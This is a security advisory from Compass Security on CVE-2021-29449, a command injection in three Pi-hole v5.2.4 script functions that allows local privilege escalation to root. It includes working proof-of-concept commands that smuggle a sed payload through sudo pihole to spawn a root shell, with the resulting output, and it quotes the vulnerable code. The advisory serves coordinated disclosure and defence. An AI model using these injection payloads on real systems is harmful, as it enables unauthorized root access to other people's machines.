############################################################# # # COMPASS SECURITY ADVISORY # https://www.compass-security.com/research/advisories/ # ############################################################# # # Product: Pi-hole [1] # Vendor: Pi-hole # CSNC ID: CSNC-2021-008 # CVE ID: CVE-2021-29449 # Subject: Privilege Escalation # Risk: High # Effect: Locally exploitable # Author: Emanuele Barbeno # Date: 20.04.2021 # ############################################################# Introduction ------------ Pi-hole is a Linux network-level advertisement and Internet tracker blocking application which acts as a DNS sinkhole and optionally a DHCP server, intended for use on a private network. Input parameters used by the removecustomcname, the removecustomdns and the removestaticdhcp functionalities of the pihole script are not validated and directly used in the sed command allowing privilege escalation via command injection. [2] A local attacker can exploit this vulnerability to gain root privileges on any system where a vulnerable Pi-hole version has been installed. Affected -------- Vulnerable: * Pi-hole v5.2.4 Not vulnerable: * Pi-hole v5.3 No other version was tested, but it is believed for the older versions to be vulnerable as well. Technical Description --------------------- Three different functionalities are vulnerable [3]: * removecustomcname * removecustomdns * removestaticdhcp ----- Privilege Escalation removecustomcname Functionality ----- This exploit works only if the file 05-pihole-custom-cname.conf is not empty. However, using the pihole script, it is possible to add custom entries in that file. Showing the current user: ``` $ whoami www-data ``` The file 05-pihole-custom-cname.conf does not exist: ``` $ ls -l /etc/dnsmasq.d/05-pihole-custom-cname.conf ls: cannot access '/etc/dnsmasq.d/05-pihole-custom-cname.conf': No such file or directory ``` Adding a fake entry inside the file 05-pihole-custom-cname.conf using the pihole script: ``` $ sudo /usr/local/bin/pihole -a addcustomcname 'mydomain.com' 'mydomain.com' [✓] Adding custom CNAME record... [✓] Restarting DNS server ``` Retrieve the content of the 05-pihole-custom-cname.conf to check if the file is not empty: ``` $ cat /etc/dnsmasq.d/05-pihole-custom-cname.conf cname=mydomain.com,mydomain.com ``` Spawn a root shell using the pihole script: ``` $ sudo /usr/local/bin/pihole -a removecustomcname 'a/d ; 1e exec sh 1>&0 ; /' [✓] Removing custom CNAME record... # id uid=0(root) gid=0(root) groups=0(root) ``` The security issue resides in the RemoveCustomCNAMERecord function of the /opt/pihole/webpage.sh script where the domain and target variables are taken from the input and not validated before being used in the sed command: ``` RemoveCustomCNAMERecord() { echo -e " ${TICK} Removing custom CNAME record..." domain="${args[2]}" target="${args[3]}" sed -i "/cname=${domain},${target}/d" "${dnscustomcnamefile}" # Restart dnsmasq to update removed custom CNAME records RestartDNS } [CUT BY COMPASS] main() { args=("$@") case "${args[1]}" in [CUT BY COMPASS] "addcustomdns" ) AddCustomDNSAddress;; "removecustomdns" ) RemoveCustomDNSAddress;; "addcustomcname" ) AddCustomCNAMERecord;; "removecustomcname" ) RemoveCustomCNAMERecord;; * ) helpFunc;; esac ``` The following is the sed command with the injected payload (a/d ; 1e exec sh 1>&0 ; /): ``` sed -i "/cname= a/d ; 1e exec sh 1>&0 ; /,/d" "${dnscustomcnamefile}" ``` Now the sed command contains three different expressions separated by ';': * /cname= a/d * 1e exec sh 1>&0 * /,/d The second expression is used to spawn a new shell using the same privileges of the user who is running the command which, in case of sudo, is root ----- Privilege Escalation removecustomdns Functionality ----- The same vulnerability is present in the removecustomdns functionality. Showing the current user: ``` $ whoami www-data ``` The file custom.list is empty: ``` $ ls -l /etc/pihole/custom.list -rw-r--r-- 1 root root 0 Feb 23 05:38 /etc/pihole/custom.list $ cat /etc/pihole/custom.list ``` Add a fake entry inside the custom.list file using the pihole script: ``` $ sudo /usr/local/bin/pihole -a addcustomdns '8.8.8.8' 'google.com' [✓] Adding custom DNS entry... [✓] Restarting DNS server ``` Check if the fake entry has been added to the file: ``` $ cat /etc/pihole/custom.list 8.8.8.8 google.com ``` Spawn a root shell using the pihole script: ``` $ sudo /usr/local/bin/pihole -a removecustomdns 'a/d ; 1e exec sh 1>&0 ; /' [✓] Removing custom DNS entry... # id uid=0(root) gid=0(root) groups=0(root) ``` The security issue resides in the RemoveCustomDNSAddress function of the /opt/pihole/webpage.sh script where the domain and target variables are taken from the input and not validated before being used in the sed command: ``` RemoveCustomDNSAddress() { echo -e " ${TICK} Removing custom DNS entry..." ip="${args[2]}" host="${args[3]}" sed -i "/${ip} ${host}/d" "${dnscustomfile}" # Restart dnsmasq to update removed custom DNS entries RestartDNS } [CUT BY COMPASS] main() { args=("$@") case "${args[1]}" in [CUT BY COMPASS] "addcustomdns" ) AddCustomDNSAddress;; "removecustomdns" ) RemoveCustomDNSAddress;; "addcustomcname" ) AddCustomCNAMERecord;; "removecustomcname" ) RemoveCustomCNAMERecord;; * ) helpFunc;; Esac ``` ----- Privilege Escalation removestaticdhcp Functionality The same vulnerability is present in the removestaticdhcp functionality. Showing the current user: ``` $ whoami www-data ``` The file 04-pihole-static-dhcp.conf does not exist: ``` $ ls -l /etc/dnsmasq.d/04-pihole-static-dhcp.conf ls: cannot access '/etc/dnsmasq.d/04-pihole-static-dhcp.conf': No such file or directory ``` Add a fake entry inside the 04-pihole-static-dhcp.conf file using the pihole script: ``` $ sudo /usr/local/bin/pihole -a addstaticdhcp 'ff:ff:ff:ff:ff:ff' '10.10.10.10' ``` Check if the entry has been added to the file: ``` $ cat /etc/dnsmasq.d/04-pihole-static-dhcp.conf dhcp-host=ff:ff:ff:ff:ff:ff,10.10.10.10, ``` Spawn a root shell using the pihole script: ``` $ sudo /usr/local/bin/pihole -a removestaticdhcp 'a/d ; 1e exec sh 1>&0 ; /' # id uid=0(root) gid=0(root) groups=0(root) # ``` The security issue resides in the RemoveDHCPStaticAddress function of the /opt/pihole/webpage.sh script where the domain and target variables are taken from the input and not validated before being used in the sed command: ``` RemoveDHCPStaticAddress() { mac="${args[2]}" sed -i "/dhcp-host=${mac}.*/d" "${dhcpstaticconfig}" } [CUT BY COMPASS] main() { args=("$@") case "${args[1]}" in [CUT BY COMPASS] "removestaticdhcp" ) RemoveDHCPStaticAddress;; [CUT BY COMPASS] esac ``` Workaround / Fix ---------------- Perform strict validation and escaping on the input provided by the user and used to construct OS commands to avoid any kind of injection. [4] As a Pi-hole user, update your installation to the latest version to receive the fix. Timeline -------- 2021-02-22: Discovery by Emanuele Barbeno 2021-02-23: Initial vendor notification 2021-03-03: Initial vendor response 2021-03-30: Assigned CVE-2021-29449 2021-04-14: Release of fixed Version / Patch 2021-04-20: Coordinated public disclosure date References ---------- [1] https://pi-hole.net/ [2] https://cwe.mitre.org/data/definitions/78.html [3] https://github.com/pi-hole/pi-hole/security/advisories/GHSA-3597-244c-wrpj [4] https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html